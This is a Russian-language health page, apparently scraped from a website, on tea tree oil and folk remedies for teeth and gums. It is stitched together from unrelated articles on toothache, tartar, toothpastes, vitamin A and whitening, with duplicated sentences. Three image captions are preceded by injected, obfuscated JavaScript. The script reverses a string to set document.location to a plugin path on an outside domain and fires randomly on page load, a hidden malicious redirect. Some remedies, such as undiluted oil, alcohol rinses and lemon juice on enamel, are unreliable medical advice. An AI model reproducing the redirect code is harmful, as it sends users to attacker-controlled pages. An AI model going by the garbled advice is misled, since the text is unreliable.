Масло чайного дерева для зубов

Плюсы и минусы

Как и любое средство, обладает своими положительными и отрицательными сторонами. Остановимся на них поподробнее.

Плюсы
Являясь природным продуктом, обладает абсолютно натуральным составом.
При правильном хранении не нанесет вред здоровью.
Высокая эффективность.
Легко можно купить в каждой аптеке и применять без рецепта врача.
Недорогое, по карману каждому.
Универсальное средство, которое успешно используют, начиная от медицины и до домашнего хозяйства в целях дезинфекции и уборки помещений.

Минусы
Характерный резкий запах.
Может вызывать сильные аллергические реакции.
Вещество следует наносить на кожу либо точечно, либо в разбавленном виде, так как оно обладает сильным подсушивающим эффектом.
Способно вызвать диарею, рвоту, а в некоторых случаях привести к спутанности сознания и коме.

Внимательно и аккуратно используйте это эфирное масло и избегайте его попадания в глаза, на слизистые и внутрь!

Можно ли терпеть зубную боль при надавливании

Прежде всего, нужно разобраться, почему болит. В одних случаях болезненные ощущения можно потерпеть и даже принять обезболивающее, в других же лучше, как можно скорее обращаться к стоматологу.

Можно потерпеть, если после лечения зуба или удаления соседнего прошло всего несколько дней, болевые ощущения связаны с травмами околозубных тканей, носят не нарастающий, а убывающий характер, и врач предупреждал о их наличии. Болезненность в травмированных околозубных тканях после лечения ощущается максимум 3 – 5 дней и постепенно стихает. Чувствительные люди могут принимать в этот период обезболивающие препараты.

Терпеть зубную боль в любом случае нельзя, если она носит нарастающий характер, возникает уже при прикосновении, а также появилась не после, а до лечения.

Осложнения

Иногда боль при надавливании на зуб проходит от обезболивающих или даже самостоятельно, но это вовсе не значит, что все в порядке. Если надеяться, что все «рассосется само собой», то возможно столкнуться со следующими осложнениями:

  • незаметным прогрессированием кариеса со значительным или полным разрушением твердых зубных тканей; особенно часто кариозный процесс протекает незаметно на жевательных единицах, начинаясь в бороздках (фиссурах) на жевательной поверхности коронок и проникая глубоко внутрь (средний и глубокий кариес); болезненность при этом усиливается, появляется при употреблении любой раздражающей пищи;
  • проникновением внутрь зубной полости, наполненной мягкой тканью, пронизанной нервными окончаниями; это осложнение кариеса – пульпит, он сопровождается постоянной сильной зубной болью при любом прикосновении, и пациент волей-неволей бежит к стоматологу;
  • если и симптомы пульпита удалость притушить обезболивающими, то инфекция по корневым каналам проникает в периодонт – связку, удерживающую зубной корень в ячейке; появляется острая пульсирующая боль; терпеть ее очень сложно;
  • если перетерпеть и этот болевой синдром, то со временем он может стать менее интенсивным, что говорит о хроническом воспалительном процессе, формировании гранулемы или кисты.

Когда точно нужно срочно бежать к врачу

Экстренное обращение к стоматологу требуется, если:

  • после проведенного лечения болевые ощущения носят не стихающий, а нарастающий характер и продолжаются больше 5 дней;
  • боль острая, не снимающаяся обезболивающими;
  • болезненность усиливается через 5 – 7 дней или даже через месяц после проведенного лечения;
  • болевые ощущения при прикосновении сопровождаются повышением температуры тела;
  • болит внешне здоровый зуб или зуб, эмаль которого изменила свой цвет.

Признаки

Поддесневой камень локализуется под десной, в углублении между ней и зубом, в пародонтальных карманах, на шейке зуба, вокруг корня. Отложения плотной консистенции имеют желтый, коричневый или черный оттенок.

Самостоятельно обнаружить поддесневой камень сложно, однако о его появлении сигнализируют следующие признаки:

  • десны кровоточат, отекают;
  • слизистая зудит, на ней появляются покраснения;
  • из полости рта доносится неприятный запах;
  • образуются пародонтальные карманы.

Врач выявляет поддесневые отложения с помощью зонда или рентгеновского снимка.

Камень под десной присутствует почти у всех пациентов старше 40 лет.

Зубные пасты

Используются для чистки зубов дважды в день, утром и вечером. При нормальном состоянии полости рта применяются гигиенические пасты — со стандартным составом, удаляющие мягкий налет с поверхности эмали, освежающие дыхание. Лечебно-профилактические пасты используются, если у человека есть проблемы со здоровьем зубов или десен. Комбинированные пасты — промежуточный вариант, ими можно пользоваться для профилактики стоматологических, пародонтологических заболеваний периодически, время от времени.

В составе лечебно-профилактических паст могут быть фториды, фосфаты, кальций, аминофторид, фтор. Эти элементы обеспечивают укрепление эмали, ее насыщение минеральными веществами. Содержание фторидов в составе пасты по индексу PPM в этом случае должно быть больше 0,15%.

Если зубная паста будет использоваться для профилактики болезней десен, в ее составе должны быть антисептики и противовоспалительные компоненты. Это — хлоргексидин, фторид олова, триклозан. Растительные антисептики и противовоспалительные компоненты (экстракты ромашки, крапивы, эвкалипта и т.п.) почти не дают эффекта и не обеспечивают эффективной профилактики воспалений.

Если эмаль является чувствительной, можно пользоваться пастами, в составе которых есть минеральные компоненты (фториды, нитрат или хлорид калия, хлорид стронция). Их концентрация должна быть высокой. Они обеспечат укрепление эмали, будут способствовать запечатыванию дентинных канальцев и уменьшению чувствительности зубов.

Гигиенические зубные пасты могут быть отбеливающими: они лучше убирают мягкий налет с поверхности зубов и помогают осветлить эмаль за счет этого. Такие составы отличаются абразивностью. Производители паст указывают ее в RDA. Если показатель превышает 100-120 единиц, абразивность является высокой. При абразивности более 120 единиц частое использование пасты может быть опасным для эмали.

Отбеливание зубов может происходить за счет содержания в зубной пасте энзимов (папаина, бромелаина, полидона, пирофосфатов и пр.). Эти вещества растворяют мягкие отложения на поверхности эмали и обеспечивают их удаление без абразивного действия.

При использовании зубных паст со специальным (минерализующим, отбеливающим, противовоспалительным) действием стоматологи «ДентоСпас» рекомендуют:

  • консультироваться с лечащим врачом и чистить зубы рекомендованной им пастой;
  • соблюдать правильную технику чистки зубов;
  • не использовать одну и ту же пасту долго, постоянно. Отбеливающие составы при постоянном использовании повреждают, разрушают эмаль. Противовоспалительные пасты могут менять микрофлору полости рта.

Отбеливающие или гигиенические пасты не заменяют процедуру профессиональной чистки зубов: если на поверхности эмали скапливается налет, образуется зубной камень, нужно периодически удалять их в кабинете у стоматолога. При болезнях десен использование профилактических паст не должно заменять визиты к пародонтологу и проводимые им профилактические процедуры.

Использование в стоматологии

Мелалеука безопасна для человека, но только при правильном использовании. Масло разрешено применять в не разбавленном виде, но с учётом правил. Рекомендуется:

  • исключить аллергию перед началом процедур;
  • приобретать качественный продукт — от этого зависит результат и безопасность;
  • не глотать продукт во время лечения;
  • прополоскать полость рта после терапии;
  • исключить из рациона чёрный чай и кофе во время отбеливания;
  • не употреблять пищу в течение часа после применения средств;
  • не повышать дозировку самостоятельно — подобное может привести к ожогам слизистой рта;
  • проводить процедуры не дольше 14 дней и не более 3 раз в неделю.

Перед началом лечения нужно обратиться к врачу и проконсультироваться. Специалист учтёт особенности организма пациента, после чего подберёт подходящую продолжительность терапии.

Устранение кариеса и зубного камня

Чтобы избавиться от названных проблем, средство используют следующим способом:

  1. Нанести на зубную щётку с пастой 1–2 капли мелалеуки.
  2. Почистить зубы названным составом.
  3. Разбавить в стакане кипячёной воды 5 капель лекарства.
  4. Прополоскать полость рта.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/maslo-chaynogo-dereva-1.jpg» alt=»Масло чайного дерева» width=»350″ height=»230″ /> Масло чайного дерева можно добавлять в зубную пасту для достижения наилучшего результата

Процедуру проводят 2–3 раза в сутки. Для наибольшей эффективности рекомендуется пользоваться после приёма пищи зубной нитью, смоченной в масле растения.

Воспаления и боль

При пародонтозе и стоматите эффективен следующий рецепт:

  1. Смешать 1 ч. л. медицинского спирта с 3 каплями масла.
  2. Разбавить средство половиной стакана кипячёной воды.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/medicinskiy-spirt-728×546.jpg» alt=»Медицинский спирт» width=»728″ height=»546″ /> Медицинский спирт смешивается с маслом чайного дерева — такое средство хорошо устраняет боль

Ещё один раствор готовится следующим способом:

  1. Смешать половину чайной ложки мёда и 10 капель мелалеуки.
  2. Разбавить в стакане чистой воды.

Оба рецепта используются для полоскания рта. Количество процедур — 3–4 раза в сутки.

При зубной боли и флюсе необходимо комбинированное лечение:

  1. Полоскать полость рта раствором из 5 каплей масла и стакана воды (каждые 3 часа).
  2. Прикладывать смоченные в названном растворе тампоны к больному участку — 2–3 раз в день.

Против боли подходит средство, включающее в состав касторовое масло и мелалеуку. Потребуется по 1 капле каждого ингредиента разбавить в стакане с водой. Лекарство используется для полосканий и аппликаций так же, как и в предыдущем рецепте.

Избавление от кровоточивости дёсен

Лечение будет наиболее результативным, если применять полоскание и аппликации вместе.

Этапы приготовления и использования средства для полоскания:

  1. Добавить в стакан кипячёной воды 7–8 каплей масла.
  2. Полоскать рот 2 раза в день.

Если чувствительность дёсен повышена, то дополнительно добавляют в получившийся состав 1 ч. л. алоэ.

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/sok-aloe-5-728×546.jpg» alt=»Сок алоэ» width=»728″ height=»546″ /> Сок алоэ используется с маслом чайного дерева при повышенной чувствительности дёсен

Использование аппликаций:

  1. Смочить ватный тампон в масле мелалеуки.
  2. Приложить к воспалённому участку десны.
  3. Сделать лёгкий массаж больного места.
  4. Прополоскать полость рта.

Что такое витамин А

Витамины — это регуляторы биологических процессов, без которых нарушается биохимия тела и работа органов. Большинство из них поступает с едой, а некоторые синтезируются организмом или кишечной флорой. Витамины делятся на водорастворимые и жирорастворимые. Первые не задерживаются в организме надолго и выводятся с продуктами обмена, а вторые накапливаются в печени. Мы писали о витамине D — единственном, который влияет на иммунную защиту организма. А вот С оказался не таким полезным, как о нем пишут производители БАДов.

Витамин А — жирорастворимый. Человек получает его из пищи в виде предшественников — ретиноидов и каротиноидов. Они содержатся в жировом депо печени, а когда нужно превращаются в ретинол и отправляются в ткани. Витамин А регулирует эмбриогенез, работу репродуктивных органов, желез кожи, воспаление, создание новых клеток и их гибель. Производное ретинола — один из компонентов родопсина. Это пигмент глаз, отвечающий за цветоощущение.

Наружные ретиноиды используют в дерматологии: лечат акне и назначают для профилактики возрастных изменений кожи. Доказано, что изотретионин препятствует ферментативной деградации коллагена — главного структурного компонента кожи. Производные витамина А добавляют в солнцезащитные крема для антиоксидантной защиты.

Системные ретиноиды — это средства для лечения тяжелого акне, псориаза, розацеа, предраковых состояний и немеланомного рака кожи. Они нормализуют образование клеток верхнего слоя эпидермиса, снижают секрецию кожного сала и воспаление, обеспечивая длительную ремиссию. Назначают их в случаях, когда наружная терапия неэффективна или дает временный результат.

Противопоказание к использованию масел

Чайное дерево переводится на латинский язык как Melaleuca alternifolia.

Хотя австралийское дерево не имеет особого отношения к чаю, коренные жители континента заваривали из его листьев целебный напиток, стимулирующий иммунитет.

Опыт использования этого растения для поддержания здоровья был перенят и европейцами. Ароматическое масло хорошо действует как антимикробный компонент для гигиены зубов и дёсен.

Область применения

Противовоспалительные свойства масла обусловлены наличием в его составе производных терпенов.

Как и при любом другом виде оздоровления, при использовании ароматических масел есть ограничения:

  • индивидуальная непереносимость;
  • аллергические реакции;
  • плохое восприятие запаха и вкуса средств, содержащих эфирные масла;
  • применение продукта в неразбавленном виде;
  • беременность и лактация, возраст до 12 лет (возможность применения масла чайного дерева для зубов рассматривается в индивидуальном порядке);
  • заболевание бронхиальной астмой (нужна консультация лечащего врача).

Из побочных эффектов иногда отмечается истончение и повреждение эмали зубов. Это явление наблюдается только при слишком частом и длительном проведении процедур отбеливания. А при применении продукта в неразбавленном виде возможен ожог слизистых оболочек рта, поэтому нужно предельно аккуратно делать аппликации, чтобы его не допустить.

Противопоказаний и нежелательных побочных действий немного, поэтому, если пользоваться маслом в указанных дозах, то вреда оно не принесёт.

При применении масел необходимо проявлять некоторую осторожность, желательно перед началом их использования проконсультироваться с врачом-стоматологом. Обычно лечить дёсны маслами не рекомендуется в следующих случаях:

Обычно лечить дёсны маслами не рекомендуется в следующих случаях:

  • при аллергии на тот или иной вид масла (например, непереносимость цитрусовых)
  • при беременности или кормлении грудью, поскольку масло может вызвать потерю молока
  • при эпилептических заболеваниях
  • при гипертонических явлениях или просто сильно эмоциональной напряжённости
  • если пациент младше 2-летнего возраста
  • если пациент собирается много находиться на открытом солнце

Нетрадиционная медицина при наличии заболеваний пародонта советует прибегнуть к помощи эфирных масел. В терапии различных проблем полости рта активно используется масло чайного дерева. Данное средство имеет специфический резкий запах и горьковатый вкус, оно не предназначено для приема внутрь. Масло чайного дерева отлично подходит для ежедневных полосканий полости рта либо массажа десен.

Для приготовления раствора для полоскания ротовой полости несколько капель эфирного масла следует добавить в теплую кипяченую воду (10 капель на 200 мл воды). Полученным средством желательно полоскать рот каждый час, обязательно – после приема пищи.

Пародонтоз приводит к обнажению шейки корня зуба, в месте которой постоянно накапливаются болезнетворные бактерии. Возвышающаяся над десной часть зуба считается наиболее уязвимой для таких заболеваний, как кариес и клиновидный дефект.

Массаж десен с маслом чайного дерева следует делать не чаще 2 раз в день. Для этого несколько капель средства наносят на зубную щетку, затем ей слегка массируют десны в течение 1-2 минут. После завершения массажа рот нужно прополоскать теплой водой.

Также в лечении пародонтоза народная медицина рекомендует использовать прополис. Прополис – это натуральное вещество, производимое пчелами. Оно обладает противовоспалительным, антисептическим, ранозаживляющим свойствами.

Готовую настойку прополиса можно приобрести в аптеке либо приготовить самостоятельно. Для самостоятельного ее приготовления следует взять 30 г прополиса, измельчить и залить 100 мл спирта. Срок приготовления настойки – 4 недели.

  • http://zubovv.ru/krasota-i-uxod/otbelivanie/domashnee/maslo-chaynogo-dereva.html
  • https://stoma.guru/gigiena/otbelivanie/maslo-chaynogo-dereva-dlya-otbelivaniya-zubov.html
  • https://asepta.ru/spravochnik/gigiena/otbelivanie-zubov-maslom-chaynogo-dereva/
  • http://dentist-pro.ru/krasota-i-uxod/otbelivanie/domashnee/osobennosti-primeneniya-masla-chajnogo-dereva-dlya-zubov.html
  • http://kosmetik-dent.ru/efirnoe-maslo-chajnogo-dereva-dlya-zubov-i-desen/
  • https://ZubNeBoley.ru/lechenie/narodnye-sredstva/maslo-chajnogo-dereva-dlya-zubov/
  • https://medvoice.ru/maslo-chaynogo-dereva-dlya-zubov/
  • https://PlastikaPlus.ru/uhod-za-zubami/chajnoe-derevo-dlya-zubov.html

Как стоматолог лечит потемневшие зубы

В зависимости от причины потемнения врач посоветует один из способов, описанных далее.

Чистка ультразвуком

Выполняется при помощи ультразвукового скалера. Процедура показана для удаления зубного камня.

Принцип чистки ультразвуком: в наконечник скалера вставляют насадку, совершающую ультразвуковые колебания. Одновременно с этим в нее подают струю воды. В момент соприкосновения насадки с отложениями, те удаляются с эмали. Благодаря эффекту кавитации (когда волны ультразвука распространяются в воде, образуя воздушные пузырьки), поверхность очищается от остального налёта.

Однако ультразвуковая чистка не удаляет мельчайшие частицы налёта, которые также необходимо устранить. Для этого применяется чистка Air Flow, профессиональное отбеливание или классическая полировка зубов щёткой и полировочной пастой.

Если не удалить остатки отложений, зубная поверхность останется шершавой, к ней быстро прилипнет новый налёт.

Чистка Аир Флоу

Air Flow производят в виде отдельного блока или наконечника, работающего от стоматологической установки.

Процедура показана для:

  • удаления пигментного и бактериального налёта;
  • устранения мягких и небольших отложений зубного камня;
  • полирования эмали и зубных корней в пародонтальных карманах глубиной до 0.5 см.

Принцип чистки Аир Флоу: аппарат под высоким давлением подаёт смесь воды, сжатого воздуха и мелкодисперсного абразива (двууглекислого натрия). Абразивные частицы «разбивают» зубные отложения на фрагменты, а вода с воздухом смывает их.

Метод абсолютно безопасен для эмали. Если у пациента повышенная чувствительность или повреждённые зубы, используют порошок «Аир Флоу Софт» с абразивами меньшего размера.

Установка виниров

Виниры – это тонкие керамические, циркониевые или композитные пластинки, при помощи которых восстанавливают правильную форму и естественный цвет эмали. Их приклеивают с внешней стороны обточенных (препарированных) для зубов.

Установка виниров актуальна для пациентов с флюорозом и эрозией эмали, если профессиональная гигиена и эндоотбеливание не эффективны.

Внутриканальное отбеливание (эндоотбеливание)

Осветление проводят, если потемневший депульпированный зуб целый и достаточно прочный.

Коронковую часть наполняют отбеливающим составом на основе перекиси водорода, затем временно пломбируют. В полости начинается реакция: отбеливающий гель распадается, выделяя активный кислород, который и отбеливает зуб изнутри. Для большего эффекта эндодонтическое осветление могут комбинировать с классическим.

Протезирование коронками

Показано при значительных дефектах почерневшей зубной единицы, которые нельзя устранить остальными способами. Коронки из циркония и керамики E-max в точности повторяют оттенок зубного ряда пациента. Отличить их от настоящих сможет только врач.

Народные средства против камня на зубах

Сода

Сода остается одним из самых популярных и дешевых средств для избавления от зубного налета в домашних условиях. Она дает отличный эффект при соединении с другими ингредиентами. Приведем несколько рецептов:

  • Смешать перекись и соду в соотношении 1:3. Полировка смесью, нанесенной на кусочек ваты, осуществляется в течение пары минут, после чего рот нужно сполоснуть водой.
  • Соединить 5 капель свежевыжатого сока лимона, 20 капель перекиси и 1 ч.л. соды. Паста наносится на зубы всего на пару минут, после чего смывается. Кислота разъедает эмаль, поэтому нужно контролировать частоту применения данного метода.

При использовании соды не нужно тереть зубы щеткой, чтобы не поцарапать эмаль абразивными частичками. Средство лучше применять свежим, готовя перед нанесением на зубы. Пасту нужно прикладывать только на участки с каменным налетом. После манипуляции желательно сделать компресс с фторсодержащей пастой.

При наличии кариозных полостей или ран на слизистой чистить зубы содой запрещено.

Поваренная соль

Борьба с камнем на зубах с применением обычной соли является одним из самых простых способов. Для процедуры подойдет мелкая соль – крупная может поцарапать поверхность зубов. Необходимо погрузить головку щетки в воду, затем в соль и почистить зубы.

Лечение зубов от камней солью требует от человека терпения и соблюдения режима. Сначала средство используется ежедневно дважды в сутки на протяжении 2 недель, затем чистку выполняют три раза в неделю, а на 4 неделе – два раза. Последующие 1-2 месяца процедура выполняется 1 раз в 7 дней.

ИНТЕРЕСНО: фото камней на зубах

Цитрусовые

Растворить зубной камень могут соки цитрусовых фруктов, особенно грейпфрутовый и лимонный (рекомендуем прочитать: Растворить зубной камень могут соки цитрусовых фруктов, особенно грейпфрутовый и лимонный (рекомендуем прочитать: нужно ли удалять зубной камень?). С помощью этих продуктов можно не только быстро очистить зубы от отложений, но и провести отбеливание. Для получения заметного эффекта достаточно употреблять больше цитрусовых и периодически натирать поверхность зубов долькой фрукта.

В лимонном соке содержится много кислот, которые растворяют камень и убивают болезнетворные микробы. Из фрукта нужно выжать сок, и нанести его на коронки с помощью кусочка ваты. Через 5 минут зубы нужно сполоснуть водой. Поскольку кислота размягчает эмаль, очистку цитрусовыми нельзя проводить чаще пары раз в неделю.

Мед

Камень с поверхности коронок можно убрать привычным для каждого и вкусным продуктом – медом. 30 г липкого лакомства нужно растворить в чашке воды, и 1 раз в день проводить полоскания. Это народное средство отличается слабой эффективностью, поэтому для получения желаемого результата необходимо повторять процедуру на протяжении хотя бы 3-4 месяцев. Этот метод противопоказан для людей, страдающих гиперестезией (повышенной чувствительностью зубов). Полоскания не рекомендуется выполнять на ночь.

Лекарственные травы

Для удаления зубного камня можно воспользоваться одним из проверенных народных средств. Рецепты приготовления и применения отваров из лекарственных трав очень просты:

  • 15 г чистотела залить 200 мл кипятка и настоять 30 минут. Настой используют для орошения полости рта дважды в сутки.
  • 1 ст.л. измельченной коры грецкого ореха залить кипятком и настоять 20 минут. Читку проводят щеткой 1 раз в день. Отвар не может использоваться при высокой пористости эмали, поскольку окрасит ее.
  • Залить 1 ст.л. хвоща полевого 250 мл кипятка. Делать ванночки, удерживая отвар по 3 минуты во рту, трижды в сутки. Камень постепенно разрыхляется и поддается механическому удалению.
  • Смешать в одинаковых пропорциях корень лопуха и кожуру фасоли, залить 250 мл кипятка и настоять 24 часа. Полоскания проводятся дважды в день.
Рейтинг
( Пока оценок нет )
Editor
Editor/ автор статьи

Давно интересуюсь темой. Мне нравится писать о том, в чём разбираюсь.

Понравилась статья? Поделиться с друзьями:
Аромат здоровья
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: